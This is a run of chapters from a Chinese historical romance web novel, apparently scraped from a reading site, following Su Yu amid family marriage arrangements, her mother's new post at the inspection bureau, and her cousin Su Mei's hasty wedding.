秦昊希望宜宁郡主能嫁的好,但也要看看对方能不能看的上。 宜宁郡主的个人条件不及格,有家世加成能补到九十分。但想嫁个九十九分的,也不容易。 “还有一个关子棋,应该是堂兄弟。”楚王爷指指名单上的关子棋。 十六岁,六房嫡次子,父母俱在,介绍的内容很简短。 秦昊皱眉道:“都没听说过,应该不是出色人物。” 京城的公子哥,模样好,脾气好,有才情,武艺高,会读书,但凡有个优点都不会默默无闻。像关子棋,只在名单上见过的名字,本人肯定十分平庸。 “宜宁自己也不出色,哪有资格挑别人。”楚王爷说着。 在他看来,宜宁郡主与关子棋也算般配,都是只有家世,其他优点皆无。 “……” 无法反驳,秦昊顿时不说话了。 苏钰想了想,道:“京城公子哥那么多,何必只看关家的,还有其他的。” 在苏钰看来,关家的男儿都不合适宜宁郡主。不是关家不好,而是关家太好了。 “京城关氏,离天三尺。”五代国公世袭,虽然到这一代己经没了爵位,但是五代积累下来的权势却十分可观。 当今太后姓关,贵妃姓关,征西大元帅姓关,内阁大学士也姓关。从前朝到后宫,从文到武,皆有关家人。 关家又是大族,家中人口十分宠大,子侄门生遍布大周。势力之庞大,京城世家皆望其项背。 现任关家当家人关楚河,也就是关氏的小叔,传胪出身,边关当过将军立下赫赫战功。 回京之后,三十岁入内阁,是下一任阁老的热门人选。 要不是苏天翊刷下的记录太变态,这大周第一就是关楚河。 关家传至今六代人,前后尚了三位公主,也没有哪个公主出格过。 这样的关家,很不合适宜宁郡主。本身没有才能,又不能凭家世压夫家一头,让婆婆妯娌伏小作低。 关家人口又多,人多事就多,矛盾暴发时,关家不会因为宜宁是郡主就各种忍让。到时候受了气,慕容宁肯定不会管。 己经有郡主的身份加持,不需要夫家带来荣华富贵,也就没必要牺牲男方的个人条件,挑个家世富贵至极的。 像长宁郡主的夫婿,侯爵之家,各方面条件都合适,嫁过去之后夫妻恩爱,公婆恭敬,日子过的才痛快。 “说起来,姐姐的几位兄长……” 秦昊突然把目光看向苏钰,虽然名字不在名单上,但是苏家一门两爵位,状元榜眼大将军皆有。 苏家的门 14. 第 14 章 《苏家有女》全本免费阅读 宜宁郡主选定关子棋,楚王爷正要松口气时,却被郭公公提醒。这姻缘之事,不是一方选定了就行的,必须得双方同意。 而且自古以来,都是男方上赶着女方,女方主动就有些掉价,得想个办法让男方先开口。 楚王爷顿时为难了,这要怎么办? 幸好郭公公再次提醒,王府世子郡主的婚事,本是长史官的工作范畴。洪长史这般能干,这点小事他肯定能料理。 楚王爷深觉得有道理,洪长史能干,那就全部交给他办好了。 “好像闹剧。”苏钰忍不住说着。 以前她只觉得楚王爷没有才能,是个老实的好人。没想到这个老实的好人,偶尔办起事情来也是个奇葩。 绿川深有同感,又道:“洪长史果然有办法,己经跟关家说好了,一个月后的良辰吉日就带媒婆来提亲。” 就这么三下两除二的,宜宁郡主的亲事就定下来了,府里的下人们也在悄悄的议论。 据说陈侧妃对于关子棋还是不太满意,又去找楚王爷哭闹。楚王爷也可能真被闹烦了,直接把陈侧妃和宜宁郡主禁足,终得清静。 “苏玫出阁还有几天?我想快点回国公府。”苏钰无比懊悔,“我到底为什么要来王府。” 绿川想了想,安慰苏钰,“姑娘应该这么想,我们若是在国公府里,肯定是被各路亲友安慰,被人同情可怜。现在我们在王府里,看着别人的八卦,吃瓜看戏岂不是更有趣。” 苏钰不自觉得看向绿川,语气认真的道:“这个安慰很有效,当年我选你当贴身丫环,太明智了。” “谢姑娘夸奖。”绿川笑着说,“我算着日子呢,三天后我们就可以回国公府了。” “希望平平安安过完这三天。”苏钰自言自语说着,来王府这几天,她深刻知道什么叫做度日如年。 绿川笑着道:“王府能有什么事。” 一语未完,就见胡婆子匆匆进门传话,“王妃请姑娘去后花园说话。” 苏钰看着胡婆子多少愣了一下,她是慕容宁的心腹,传话这种小事派个丫头就好了,没必要亲自来。 “妈妈稍等,我换身衣服。”苏钰说着。 胡婆子退到屋外等侯,苏钰却是让绿川拿来男装。她的衣橱有一半都是男装,王府送来的份例里,也有一半男装。 “你不用跟着。”苏钰吩咐绿川。 “是。”绿川应着,不敢发问也不敢多言。 苏钰换好衣服出来,胡婆子看她一身男装也不多言。没有马车没有软轿,胡婆子前头引路,苏钰紧跟其后。 从听雨楼后门出去,沿着主甬道向北走就是后花园。没走花园正门,从东角门进入。 王府面积大,花园面积也广阔,亭台楼阁精美绝伦。 一路向前走,刚到湖边,苏钰听到一阵乐声。 下意识的,苏钰的脚步顿了一下,神情变得凝重起来。 是胡笳,慕容宁家乡的曲调,悲凄而凄楚。 父母没有和离时,她曾在国公府听到过,母亲吹给父亲听,虽然调子悲凉,隐隐约约中却带着重生的喜悦。 再后来,她几次在王府听到慕容宁吹奏,曲调未变,感觉却全然不同。 就像现在这样,只剩下无尽的悲凉,游子再也无法回归故园的思乡之情。 当年年龄小,苏钰曾认为楚王爷的求婚是因为倾慕着慕容宁。 这个想法并没有错,这些年来楚王爷确实真心爱慕着慕容宁。 但随着年龄渐长,苏钰也渐渐明白了。 父亲离京后,本以为肯定能赢的西北战事突起变故。慕容氏乃西北王族,正是此战的关键。 不管是留下慕容宁在京城为质子,还是忌惮她的才能,放虎归山后给西边战事增添变数。当时掌权的关太后都不会放慕容宁回西北。 楚王爷的提亲,也许是凑巧,也许是关太后暗示。 但不管哪一种,以婚姻为借口,把慕容宁留在京城都是一种不伤体面的做法。 九年过去了,征西大元帅早就平定了西方战事。 但在京城呆的越久,慕容宁也就越清楚,她再也回不去。 她的亲人,她的家乡,西北的所有一切,都只在这一曲胡笳之中。 “母亲……”苏钰走进湖心亭。 四面环水,只有一条长廊可进入。在这里说话,不用担心被偷听。 慕容宁放下胡笳,抬头看向苏钰时,神情却有几分恍惚,好一会才道:“你越来越像你父亲了。” 眉眼五官甚至气质,苏钰女装的时候还不太明显。男装尤其是一袭白衣时,几乎是少年苏天翊的翻版。 “母亲,你想念父亲吗?”苏钰说着。 慕容宁沉默许久,“我也不知道,因为我不能想他。” 情绪没有意义,情感更要随时抛弃。真实的感受…… 或者,她早就麻木了。 苏钰沉默,记得小时候,她曾无数次追问慕容宁,为什么要分开,苏天翊又为什么离京? 没有回答,慕容宁只是沉默看着她。即使眼中藏着无限的苦楚悲伤,这个天生强势的女人也不会哭,只是沉默。 再到后来,她也就不问了。 就在母女俩沉默之时,一个青年武官身佩官刀一路飞奔而来。 苏钰不自觉打量着他,二十来岁,官服是五品武官的补子。 虽然武官不如文官值钱,但这个年龄就能到五品,至少得是个高手。 “大人,狱所出事了。”青年武官低头说着。 慕容宁神情漠然,道:“慢慢说。” 青年武官却是看向苏钰,苏钰微笑己对。慕容宁没让她走,她就不会走。 慕容宁一点都不着急,对苏钰道 15. 第 15 章 《苏家有女》全本免费阅读 监察寮搬进了皇城,大周的皇城与皇宫是两个概念。皇宫是专指皇帝上朝起居所在,在皇城的最中心位置。 皇城更像是广义上的皇室与朝廷事务聚集处。比如楚王府就建在皇城的西南角,从皇城的西南角楼进入就是楚王府的正门。 楚王府的后门是金水河,四通八达,惯穿半个皇城。过了桥就是御林军的南卫所,占地广阔。 现在的监查寮就在御林军隔壁的隔壁,独立的衙门,人数不多,门牌看着也不大,实际占地面积却不小。 “大人……” 慕容宁刚踏进监查寮的大门,就有几个官员围了上来,皆是一脸苦相。 衙门里出了大事,原本的长官李大人躲了,现在都指望慕容宁出头背锅。 慕容宁并没有理会他们,却是吩咐苏钰:“你只能在这两进院里活动,里头事情不知处理到什么时候,你若是无聊了,只管回去。” “我知道了。”苏钰说着,“我会照顾好自己。” 慕容宁点点头,快步进后院。官员们也紧跟着进去,没人理会苏钰。 苏钰环顾四周,前头第一进院,连会客处都算不上,进门就是石碑,上面刻着监察寮的各种规矩。四周房舍皆是官员休息之处。 只看房间数量,以及她所知的监察寮的人数,一人一间还能空出来不少。监察寮扩充之日,就在眼前了。 第二进院,也就是苏钰现在所在,算是比较正统意义上的接待处。与京城其他衙门并无多大区别。 不同的是,刚设立的,屋子还有些空,人少也有些少,连个端茶倒水的门僮都不见。 “监察寮,到底要监察什么……”苏钰喃喃自语说着。 或者说显庆皇帝到底想让慕容宁做什么? 慕容宁说起来是王女郡主,实际只是一个离乡的孤女。 随着大周的兴盛以及西边战争的结束,西北慕容氏成了最老实的外族降臣。 若是九年前是眼下的情况,慕容宁和离后就会回西北。 只是九年前她留下来了,留的时间久了,也就走不了了。 外族王女,亲王正妃,个人能力卓绝,又与京城各大世家都没有关系。 这样的人做了监察寮正使,才更容易为朝廷所用。 “监察寮的人都死绝了吗!!” 一声惊雷从前院传来,随即脚步声响起,一队人马从前院直冲过来。 一行人二十几人皆是黑衣,很年轻,二十几岁,着装十分整齐,却认不出是哪衙门的官服,腰间皆配着官刀。 就在苏钰惊讶之余,好像潮水一般,黑衣人突然分开列队,一个青年从后面走出来。 二十岁?或许还不到。眼若明星,面如冠玉,高挑的身材因为过份的纤细显得有几分瘦弱。 同样的黑衣在他身上,明明那么瘦弱,却硬是被他穿出了气质。 傲慢,强势,却阴冷的吓人。好似长在黑暗中的红梅,不管怎样的黑暗与风霜,皆无法把他击倒。 “你?” 青年的目光看向苏钰,眼中闪过一抹惊艳,下意识的要别开眼。 贵公子,没有官服,不在情报网中。突然出现在监察寮,会是什么人? 苏钰看看周围,只有她一个,便微笑着拱拱手,“众位大人辛苦了,监察寮有人在,请众位稍等。” 喊那么大声音,相信后院的人能听到。 监察寮果然是新衙门,人手少就算了,还能被人找上门叫嚣。 “要等到什么时候,等着你们把尸体火化吗!!”另一个黑衣人叫嚣起来,眼中怒火仿佛要喷出来一般。 “人是我们抓的,你们非要审,结果一天不到,人就死了。” “无能就别截胡,截胡了就要把差事办好。今天若是不给个说法,就拆了监察寮的牌匾。” 人数众多,又咄咄逼人,苏钰不自觉得的后退一步。 听了一会,她多少听出了些门道。若真如黑衣人所言,确实是监察寮理亏。 慕容宁是还未正式上任的正使,前头的正使李大人借病躲了。不知道是真无能,还是与外人勾结。 不管怎么样,人死在牢里,若说监察寮没有内鬼,只怕老鼠都不信。 慕容宁这个正使官难当啊…… 苏钰忧心忡忡之余,不自觉得看向一众人中间的青年,与烦燥的下属不同,他显得十分气定神闲。 不是装出来的,而是真的眉宇舒展,神态自若。胸有成竹还是对自己太过自信。 似乎察觉到苏钰的目光,青年瞟了一眼苏钰,又赶紧另开眼。 心中有几分疑惑,男人也能长这么好看? “大人,各位大人们息怒……” 后院终于有人出来,却是个六十岁左右的老者,官服穿 16. 第 16 章 《苏家有女》全本免费阅读 谢无衣带着人走了,眼前的事情解决,苏钰却更担忧了。 监察寮正使乃是四品文官,不审先判,直接把人交谢无衣,慕容宁要承受的压力可想而知。 “母亲,他们是什么人?”苏钰问。 慕容宁道:“建章营骑,新任都尉谢无衣。” 建章营骑虽然归属御林军,却天子侍卫第一直属部队。 只是一直以来,建章营骑和监察寮一样,皆属于小透明组织。直到前不久,两个部门换了大佬。 “这个年龄就是建章营骑的都尉,果然有嚣张的本钱。”苏钰有几分自言自语说着。 慕容宁若有所思,道:“我还有事要忙,你自行回府,不要太好奇。” “是,女儿明白。”苏钰应着。 慕容宁转身进后院,苏钰也没再停留,径自回了楚王府。 女儿家应该温柔,女儿家要贤淑,女儿家要大门不出二门不迈。 这是世人对女子的要求,却不是慕容宁对女儿的要求。 苏钰的武力骑箭皆是慕容宁所教,男人能去的地方会带她去,男人不能去的地方,慕容宁认为可以去也会带她去。 现在慕容宁走马上任有了新的办差衙门,一样不会隐瞒苏钰。 “姑娘,你可算回来了。”绿川看到苏钰进门,立时端茶上去。知道苏钰与慕容宁一同出府,却不好奇,不询问。 苏钰接过茶碗,问:“有什么事吗?” “三太太派人来接您,我回话说您与王妃出门去了,明天或者后天一定会回去。”绿川笑着说。 “那就明天上午吧。”苏钰说着, 既然关氏己经派人来接,她也不好拖着不走。早饭后就与楚王爷和慕容宁辞行,反正她也没有东西要带走,可以马上动身。 “婆子还说另外一件事,九月二十六是晋阳长公主的寿辰,让姑娘准备着。”绿川说着。 严格说来,这话不是叮嘱苏钰的,而是叮嘱绿川的。 苏钰对于各府女眷的寿辰向来不当回事,只能指望绿川这个贴身大丫头,在苏钰眼边多念几遍,并把贺寿所需的东西准备齐全。 “现在还不到九月中,二十六还早着呢。”苏钰说着,“而且晋阳长公主寿辰关我个么事?就是三太太要带我去祝寿,我也不需要准备什么。” 绿川道:“贺寿是要送寿礼的,想想上回老太太寿辰上,吴家姑娘送了双面绣,还有李家姑娘亲手做的鱼云斗篷。” 年长女眷的寿辰,既是贺寿,也是才艺大比拼。毕竟姑娘们能展示的空间不多,用送贺礼的形势自我表现,是京城女眷圈的常态。 “这个简单,我的字在京城虽然说不上千金难求,但也小有名气,我写副字带过去。”苏钰说着。 绿川无言的看向苏钰,表情一言难尽。 “难道你还打算让我也绣个双面绣?”苏钰诧异说着。 “我怎么敢有这个想法,是三太太想啊。”绿川说着。 苏钰顿时沉默,好一会才道:“我与三太太果然不太熟。” 稍微对她有点了解的人,都不会提这种要求。 及至次日,苏钰自己屋里吃了早饭,就去栖凤楼辞行。没想到慕容宁彻夜未归,人不在。 “麻烦妈妈转告母亲,我先回国公府了。”苏钰对胡婆子说着。 虽然心里担忧,但慕容宁既然说了让她不要好奇,她就一句不会问。 胡婆子道:“姑娘路上当心。” 辞别胡婆子,苏钰带着绿川借道栖凤楼后门去颐乐殿。 楚王爷刚吃完早饭,世子秦昊也在。 “这就要回去吗,不多住几天。”楚王爷十分不舍。 苏钰笑着道:“三太太派人来接,我也该回去了。” 楚王爷轻叹口气,道:“你父亲不在苏家,你难免会受委屈。你该把王府当家,每回过来反而像是在做客。” “王爷误会了,三叔一直待我很好。”苏钰笑着说,“三姑娘要出阁,我这个当姐姐的,若是不在,岂不是要被人说更多闲话。” “你这孩子……”楚王爷说着,“算了,你去吧。过几日,我也派人去接你,我看谁敢挡着。” 苏钰只是笑,知道楚王爷这是一时脾气上来,不会真的实行。道:“我告辞了。” 说着苏钰规矩见礼,带着绿川离开。 绿川昨晚就吩咐管事准备好车驾,除了回国公府的外用马车,还有府内通用的,就停在颐乐殿院门口。 “姐姐……” 绿川正扶着苏钰上府内马车,就见秦昊快步从院中出来。 苏钰停下脚步,笑着问:“世子爷有什么事?” “因为匆忙,我还没来的及向姐姐道谢。”秦昊说着。 苏钰好奇问:“为何道谢?” “宜郡主的婚事,多谢姐姐的主意。”秦昊说着。 宜宁郡主的婚事定下来后,陈侧妃和宜宁郡主 17. 第 17 章 《苏家有女》全本免费阅读 秋风带来了凉意,银杏树下,金黄色的叶片随风飘落。 十九岁的新科状元郎,任何人见到都要夸一句,温雅如玉,干净如溪。 苏家二爷,叶峰。 虽然姓叶,叶峰却是苏钰的亲堂哥。 苏二老爷苏天华与苏大老爷苏天翊是双胞胎,长的一模一样,家人都无法区分。 一模一样的双胞胎兄弟,感情深厚,大房和二房也就格外亲密些。 与三房本就是堂兄弟,关氏又与苏天佑夫妻失和,几乎到老死不相往来的地方,连带着小辈也有些疏远。 叶峰所之以会姓叶,乃是因为苏二太太叶氏是独生女,叶老太爷本打算招个赘婿,没想到叶氏与苏二老爷两情相悦。 苏二老爷虽然不是独子,但苏家也不同意他入赘。 最后两家经过几轮谈判后,最终决定叶氏所生的长子过继给叶家当嗣孙。 叶氏嫁入苏家,一年后生下长子。虽然外孙入继不符礼法,但叶老太爷是何许人物,硬是把这事办成了。 叶峰虽然出生就姓叶,但一直养在国公府叶氏身边,与家中兄弟姐妹感情深厚,苏家也保留他的排行以及称呼。 外面的人也清楚,苏家二爷,就是叶峰。 “二,二哥……” 苏钰丝毫不为美景所惑,只觉得头皮发麻。 该来的躲不过,脚步顿时变得异常沉重,好像赴战场一般踏进院中。 “是二哥,不是二二哥。”叶峰纠正着,直视苏钰道,“出门几天,连家里人都忘了吗。” 苏钰低着头,一副认命的表情,道:“二哥说的是,二哥说的对,二哥全知全能。” “二哥都这么厉害了,不请二哥进屋坐坐吗?”叶峰说着。 苏钰抬头看向叶峰,眼中透露出惊悚。 叶峰却是全然不理会苏钰,径自转身进正房。苏钰心中骇然,却只得赶紧跟上去。 绿川十分懂事,进屋准备好茶水,就带着屋里的小丫头退出去,留苏钰和叶峰在屋里说话。 叶峰却不着急坐下,环顾苏钰屋里摆设。整齐有序,精致却不过份庸俗。不管审美还是品味,都挑不出毛病。 苏钰己经认命坐好,打起精神,等待训示。 “逃避有用吗?”叶峰说着,目光停在苏钰身上,“坦白从宽还能落个从轻发落,避事躲藏只会秋后算总帐。” 苏钰辩解着,“是母亲唤我去王府的,又不是我主动要去的。” 虽然是从书店叫走的,但确实是慕容宁找她。 “你不提我还忘了,你搞了一间小书店,生意还好吗?”叶峰悠闲说着,屋里看了一圈,终于在苏钰面前坐了下来。 苏钰愣了一下,脱口而出道:“你怎么知道的?” 她开书店的事,应该没人知道。 “一年亏一千两银子,你就没想过银子哪里来的吗。”叶峰说着,“还是你觉得,帐房的管事都是只会记录的木头人,嘴巴都是针缝上的。” 苏钰顿时不说话了,当年慕容宁改嫁时,留了一半嫁妆在国公府当做苏钰的抚养费,花不完将来当嫁妆。 苏家两府皆是三房管家,不管苏天佑还是关氏,都不会打这笔钱的主意。 又因为苏钰经常男装外头玩,苏天佑怕她的月例银子不够花,特意吩咐过帐房,若是苏钰要银子,记个数目直接拿给她就好。 这些年来花钱无数,苏钰早就对银子没有概念。书店亏了钱,她也是直接问帐房要,本以为没几个钱,没想到竟然是数目巨大。 “放心,除了我之外,没人知情。”叶峰说着,“我最疼爱的妹妹,自然要顾全你的脸面。” 当时也是巧了,帐房觉得一千两数目太大,虽然按数支给了绿川。心里担忧就去报告苏天佑,正巧让叶峰撞上。 叶峰便顺势帮苏钰掩盖过去,后来派人去查,书店之事也就晓得了。 “二哥真疼我。”苏钰笑着求饶,“这么丢人的事情,二哥一定要保密。” “这都只是小事,别说一间书店亏损,就是亏了十间,也没什么了不起的。”叶峰说着,“婚姻大事也能搞这样,你是玩的太疯,还是写书写傻了。” “这,其实我也是受害人。”苏钰小声辩驳着,叶峰要是生气,应该冲着贺英和苏玫去。 “我没打算追责你,你不用解释。”叶峰说着,“我找人打了贺英一顿,没打死也没打残,躺上半个月就没事了。至于苏玫,婆子不敢骂她,我只能亲自去,她痛哭流泣的说要痛改前非。” 苏钰愣了一下,却是脱口而出道:“干的漂亮。” 贺英欠打,那就打一顿。苏玫欠骂,那就骂一顿。这两件事她都想做,现在叶峰干了,也就等同她做了。 开心,干的好。 “真不知道三叔是怎么想的,竟然还把苏玫嫁过去。”叶峰说着,言语间带着气愤。 三房把苏玫的亲事瞒的死死的,要不是他外头得知消息,只怕苏玫成亲当天他才知道。 他今天过来,主要是找苏天佑的,是想劝他把婚事退掉。 和姐姐定婚,却娶妹妹,和苏家两个女儿不清不楚,还想当苏家的女婿,勇毅侯府是把好事想绝了。 “三叔,也不容易。”苏钰小声说着,却不好说苏玫有孕之事。 “哼~”叶峰冷哼一声,心中极度不满,却不好在苏钰面前说苏天佑和关氏的坏话。 苏钰道:“三太太那么要强的人,要不是实在没办法,如何能认下这门亲事。” 孩子就是父母的债,摊上苏玫这样的,那就是孽债。 “她若是肯多用些心,怎么会把女儿教成这样。”叶峰说着。 苏钰顿时不言语,叶峰这话并没说错,苏玫会做下如此错事,关氏少不了管教不严的罪名。 关氏管家,下人婆子全归她调度。若是她管理得当,苏玫刚犯下 18. 第 18 章 《苏家有女》全本免费阅读 九月十六,阴天微雨,苏玫出阁的日子。 家中有喜事,苏钰也不好起太晚。就算两看相厌,苏玫出阁,她也不好不去。 “看样子这雨要下大了。”绿川看着窗外说着,“姑娘要多穿些,不能着凉。” 说着,绿川便命小丫头打开大衣柜,把冬天的棉衣拿了出来。一边让小丫头整理,一边挑了件厚斗篷给苏钰披上。 “府里的冬装发了吧。”苏钰突然想了起来,她甚少关心家务事,只是看绿川整理衣服,发现都是去年的旧衣。 “按照惯例,昨天都该发了。”绿川说着,“估计是三姑娘出阁,耽搁了。” 苏钰想了想,道:“三太太心烦,府里的事情也多。若是屋里的东西少了,或者丫头的衣服不够穿,你只管拿钱去置办,不要声张。” 有苏玫这个糟心女儿,关氏有多心烦可想而知。还有二老太爷和苏二老爷也要回朝,靖武侯府的事务,关氏也得照料。 那么多事情压身上,照顾不到也是有的。自己拿钱添上,大家都省事些。 “姑娘放心,我知道怎么办,这也不是一回两回了。”绿川笑着,突然把声音放小了,在苏钰耳边说着,“依我说,三太太管家的本事也不是多厉害。” 说起来是两府,但常住的主子少,管事下人那么多,怎么也能轮转过来。 但事实是,只要府里有大事,就会影响到日常事务。 关氏脾气是大,管人是厉害。但是当事情多的时候,就不能面面俱到,不是少了这里,就是多了那里。 “这话也是你能说的,我看你是想挨打。”苏钰沉下脸,训斥着绿川,“也是平日里我太宠你了,让你上天了。” 绿川自知失言,马上低头不语,小声道,“姑娘,我知错了。” 苏钰却想罚她,让她长个记性,道:“一会你不用跟我过去,留在屋里好好反省。” “姑娘……”绿川求饶着。 苏钰不吃这套,道:“好好看家。” 懒得再带丫头,苏钰自行走了。 因为有雨,苏钰早命人备了车,直到关氏住的玉粹堂。因为与三老爷不和,玉粹堂在国公府东侧,离苏天佑的养云轩最远。 姑娘出阁,国公府却比平常还要冷清些,常来往的亲友一个看不到。就是偶尔有下人路过,也是急匆匆的。 据绿川所说,关氏这回一个宾客没请。主动过来的近亲,也全部劝退了。就连苏二太太叶氏过来,都被关氏劝退。 苏玫这回是把关氏和苏天佑的脸面,彻底踩到脚底下了。 “大姑娘来了……”门口小丫传话进来。 出乎意料的,苏天佑竟然在玉粹堂,与关氏一左一右正堂坐着。黑着脸没说话,好像两座门神。 “你有心了,还来看这个孽障。”苏天佑无精打彩说着,“在后头呢,快去快回,别与她说话。” 关氏一直沉默不言,此时却是冷笑道:“那是你亲生的,你要是肯管她,她也不至于如此。” “到现在了你还跟我吵。”苏天佑说着,“你要记住,这门亲事是你要结的,将来再有好歹,你别哭。” 眼看着两人又要吵起来,苏钰只能无奈叹息。 这门亲事结的太无奈,不管关氏还是苏天佑心里都憋着火。 劝是没法劝的,只能躲远点。 关氏说的没错,苏天佑对苏玫,或者说对他所有的亲友都不够关心。 苏天佑的人生太忙,二十六岁中榜眼。 二十六岁以前在读书,二十六岁之后他在当官。没有太多时间分给孩子。 而且,他就是有时间,只怕他也不知道怎么做。 从家庭的角度讲,苏天佑是个悲剧。 父亲无理由休妻,抛妻弃子,母亲不得己改嫁,却承担了各种流言蛮语。 童年时的苏天佑是在怨恨父亲中度过的,这个 19. 第 19 章 《苏家有女》全本免费阅读 苏家对亲事怠慢,贺家却是一点都不怠慢。尤其是贺英,明明都被叶峰打到吐血,大夫诊治过是内伤极重,依然□□着来迎亲。 “新娘子拜别父母。”喜娘高声唱喝着。 只是不管外面礼炮有多响,贺家派了多少人来,正厅里依然冷冷清清。 压根就没有客人,苏家连仆人都不敢上前来。关氏好歹还穿了件红衫,苏天佑则是一身黑衣,脸色阴郁,仿佛不是办喜事,而是办丧事。 “女儿拜别父母。”苏玫跪地磕头。 贺英受伤极重,忍痛一路,此时己经头冒冷汗,连标准套词都说不出来,被喜娘扶着才勉强跪下来。 “起来吧。”关氏有气无力说着。 苏玫正欲起身,苏天佑突然道:“出了这个门,你就是贺家的媳妇,与苏家再无关系。以后凡事好自为之,是死是活皆是你的命了。” 关氏愣了一下,不自觉得回头看向苏天佑。苏天佑却不再理会众人,径自起身去了。 三日后,苏玫回门,只有她一个人回来了。不是贺英冷淡,而是贺英真的起不来了。 他伤的太重,己经卧病在床,半个月难起身。 苏天佑没露面,关氏也没张罗,午饭都没留就让苏玫回去。 至于后面的会亲,苏家全部取消。就是贺家,也要顾及贺英的伤势,尽可能简化。 不管外头人如何说,苏玫与贺英的婚事,算是办完了。 “太无聊了……”苏钰大声喊着,只觉得自己要发霉了。 天天在家,吃了睡,睡了吃。唯一的乐趣就是逛花园,她受够了。 她想出门浪,要参加聚会,要喝酒聊天。总之,再也不要闷在家里了。 “姑娘再忍耐几天吧。”绿川安抚着苏钰,“现在出门,肯定会被说三道四。” 苏钰趴在桌子上,百无聊赖的道:“我情愿被说三道四,太无聊,要发疯了。” 绿川忍不住道:“前些天在王府的日子倒是过的充实,姑娘又嫌……” “我是想出门玩。”苏钰说着。 楚王爷的清奇脑洞,天天给她保媒,而且都是不怎么靠谱的人选,她怎么可能会高兴。 亲女出阁,还要长史官提供名单。要亲自给继女保媒,怎么想也是坑。 “过不了几天,二老太爷和二老爷班师回朝,府里热闹起来,京城也有其他八卦了。事情过去,姑娘就可以出门了。”绿川笑着说。 苏钰却不禁道:“等祖父和二叔回来,只怕房顶都要掀了。” 叶峰都被气成那样,更何况两个武将。贺英也许还得庆幸,幸好叶峰先把他打躺了。若是等祖父动手,只怕命都要没了。 “人都嫁过去了……”绿川没有说下去。 生米煮熟都吃到肚子里了,若是再吐出来,只会更恶心。 “不说这个了。”苏钰挥手说着,把讨厌的话题揭过去,“阿邑要回来了,上个月我在多宝楼里挑的那把琴,己经调好送来了吧。” “早就送来了,我亲自检查过,收在东厢房。”绿川笑着说,“三爷看到肯定欢喜。” “阿邑的琴技也是天上有了。”苏钰笑着说, 一语未完,就听外头传来婆子急切的欢呼声,“大姑娘,三爷、四爷回来了,就要到府门口了。” “真的吗?”苏钰大喜,快步出屋。 苏家三爷,苏邑。 二房次子,叶峰的弟弟,今年十七岁,与苏钰最为交好。 传话婆子边喊边跑,此时己跑到院中,笑着道:“管事己经在城门口接到人,估摸着就到了,三太太己经去二门等着了。” 估摸着要回来,关氏早派人去城门口等着。连续等了几天,终于把人接回来了。 “我马上就去。”苏钰满心欢喜,就要往二门奔。 绿川眼疾手快拉住苏钰,“姑娘,外衣,衣服都不穿整齐,怎么出门去。” 屋里小丫头拿来外衣,绿川侍侯着苏钰更衣,又吩咐小丫头,“拿一串钱给妈妈,妈妈辛苦了。” 婆子笑开了花,连声道谢,欢欢喜喜走了。 “你倒是快些。”苏钰着急说着,直催绿川。 绿川笑着道:“姑娘莫急,不会这么快的。” 关氏也要更衣收拾,肯定比苏钰到的晚。 匆匆穿上外衣,苏钰也懒得坐车,一路小跑直奔二门。 此时二门上相当热闹,前院管家、管事媳妇都己经过来。关氏也坐车到了,脸上是最近难得的欢喜。 苏家四爷苏越,三房嫡长子,今年才 20.第 20 章 《苏家有女》全本免费阅读 苏邑去了叶府,苏钰回听雨楼,关氏带着苏越坐车回玉粹堂。 一路奔波,苏越先回自己的住所敬思阁洗澡更衣。敬思阁就在玉粹堂后面,与苏玫住的浮碧园紧挨着。 “哥儿回来了,太太也终于能放心了。”洪婆子笑着说,很是心疼关氏,“这半年,太太就没睡好过。” 关氏心中喜悦,却不禁长叹口气,“平安回来就好,他若有个好歹,我,我真没法活。” 苏越是她的独子,也是她的希望,今生唯一的指望。 “哥才十四岁,还小呢,老太爷……”洪婆子没敢说下去,心里却是很为关氏打抱不平。 “老太爷是长辈,也是为了哥儿好。”关氏嘴上说着,心里却又有几分担忧。 这一趟平安回来了,还有下一回呢。这是才开始,并不是结束了。 她如何舍得让苏越去战场那么危险的地方,是二老太爷苏震岳执意如此。她冒着被骂忤逆的风险去找苏震岳,是真的不想独子去那么危险的地方。 没想到苏震岳也是一代强人,哪怕是儿媳妇也毫不留情的直接开骂。 “阿峰十二岁就中了举人,阿邑十二岁就跟着老二上战场;阿钰是女孩儿,十二岁时也有诗句佳作传出,骑射武艺皆不弱。” “再看看阿越,都十四岁了,读书怕苦,习武嫌累。天天一堆丫头婆子捧着,好好一个爷们被你养成了娘们。” “你们夫妻俩,一个是不管,一个是不会管。现在我来替你们管,你竟然还来挑三拣四。怎么,我这个祖父还管不得了。再敢多说一句,就给我滚回关家去,苏家不要你这样的媳妇。” 如此一通骂,关氏别说反驳了,头都抬不起来。 关氏心里很清楚,苏天佑是独子,苏越是长孙,也是三房唯一的男丁。苏震岳做为祖父,当然是希望他好。 只是这种为苏越好的方式,实在太危险了。 做母亲的,当然希望儿子能出人投地,但想出人投地,哪有这么容易的。 不是每个人都能像叶峰那样,十九岁就能中状元。 孩子资质平庸,又不想吃苦,只想过些安逸享受的生活,在娘家时她见得多了。 更何况苏家不比别家,三房又有爵位,苏越当一辈子富贵闲人也没什么大不了的。 “母亲……” 苏越欢快的声音从后门传来,洗澡更衣,凑和着吃了一盘点心,他的精神好极了。 洗掉一身风尘,恢复了本来面目。 面如冠玉,目如秋波,虽然年龄小身量还没有长开,却颇有美男子的资质。 “我让厨房备了饭,马上就来了。”关氏笑着说,看着苏越,她所有的烦恼有消了。 “我刚才在屋里吃了点心,等到饭点时,我再陪着母亲吃。”苏越笑着说,在关氏身边坐下来。 关氏嗔道:“你一路骑马,灌了一肚子冷风,要吃些热食,怎么能吃点心。管你的婆子呢,这么不上心。” “在军营吃干粮喝井水都是常事,有点心吃就很好了。”苏越笑着说。 “你还喝过井水?”关氏顿时皱起眉头。 “大家都这样。”苏越理所当然说着,“刚去的时候不习惯,后来呆久了,也就好了。母亲不知道,边关的守将们都过的苦,我以前过的实在太好了,都有些不惜福。” 关氏听得怔了一下,不禁看向苏越。出门一趟,心都野了。 “还有一件事,我想与母亲商议,我想搬到倦勤斋与三哥一起住。三哥答应我了,要教我射箭,祖父也说我很有天份,只要勤加练习,肯定大有长进。”苏越满心期待说着。 倦勤斋紧挨着练功场,与祖父的住处也近,属于前院范围,出入也都是武将。 “你要搬到侯府去?”关氏愣住了。 虽然说是两府如一府,但到底是两府。倦勤斋在侯府前院,与玉粹堂离的太远。 苏越却是道:“两府花园是相通的,都是自己家里,有什么区别。” 三房住在国公府,二房住在侯府,本来就是乱住的,两府之分根本就没意义。 看着苏越兴奋的脸,关氏却是沉默了。 她希望儿子能富贵安康过一辈子,哪怕是没大出息的富贵闲人也无所谓。 